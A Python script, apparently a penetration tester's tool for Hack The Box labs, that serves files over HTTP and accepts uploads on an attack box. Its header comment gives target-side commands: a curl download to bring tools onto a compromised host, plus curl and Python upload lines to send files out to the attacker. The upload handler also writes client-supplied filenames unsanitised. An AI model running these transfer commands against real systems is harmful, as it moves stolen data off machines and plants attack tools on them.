#!/usr/env python3 ######################################################################## # # Simple HTTP server that supports file upload for moving data around # between boxen on HTB. Based on a gist by bones7456, but mangled by me # as I've tried (badly) to port it to Python 3, code golf it, and make # It a little more robust. I was also able to strip out a lot of the # code trivially because Python3 SimpleHTTPServer is a thing, and the # cgi module handles multipart data nicely. # # Lifted from: https://gist.github.com/UniIsland/3346170 # https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c # # Important to note that this tool is quick and dirty and is a good way # to get yourself popped if you're leaving it running out in the real # world. # # Run it on your attack box from the folder that contains your tools. # # On the server side: # python3 SimpleHTTPServerWithUpload.py # python3 SimpleHTTPServerWithUpload.py --bind # # From the target machine: # Infil file: curl -O http://:33445/ # Exfil file: curl -F 'file=@' http://:33445/ # Python: requests.post(, files={'file': open(output_file, 'rb')}) # # Multiple file upload supported, just add more -F 'file=@' # parameters to the command line. # ######################################################################## import http.server import socketserver import io import cgi import os import argparse # Change this to serve on a different port PORT = 33445 class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): def do_POST(self): r, info = self.deal_post_data() print(r, info, "by: ", self.client_address) f = io.BytesIO() if r: f.write(b"Success\n") else: f.write(b"Failed\n") length = f.tell() f.seek(0) self.send_response(200) self.send_header("Content-type", "text/plain") self.send_header("Content-Length", str(length)) self.end_headers() if f: self.copyfile(f, self.wfile) f.close() def deal_post_data(self): ctype, pdict = cgi.parse_header(self.headers['Content-Type']) pdict['boundary'] = bytes(pdict['boundary'], "utf-8") pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length']) if ctype == 'multipart/form-data': form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], }) path = self.translate_path(self.path) path_dir = os.path.dirname(path) try: os.makedirs(path_dir, exist_ok=True) if isinstance(form["file"], list): for record in form["file"]: open(os.path.join(path_dir, record.filename), "wb").write(record.file.read()) else: # print(form["file"].filename) open(os.path.join(path_dir, form["file"].filename), "wb").write(form["file"].file.read()) except IOError: return (False, "Can't create file to write, do you have permission to write?") return (True, "Files uploaded") if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--bind', '-b', default='', metavar='ADDRESS', help='Specify alternate bind address ' '[default: all interfaces]') parser.add_argument('port', action='store', default=PORT, type=int, nargs='?', help='Specify alternate port [default: {}]'.format(PORT)) args = parser.parse_args() Handler = CustomHTTPRequestHandler with socketserver.TCPServer((args.bind, args.port), Handler) as httpd: ip_addr = args.bind if args.bind != '' else '0.0.0.0' print("serving at {}:{}".format(ip_addr, args.port)) httpd.serve_forever()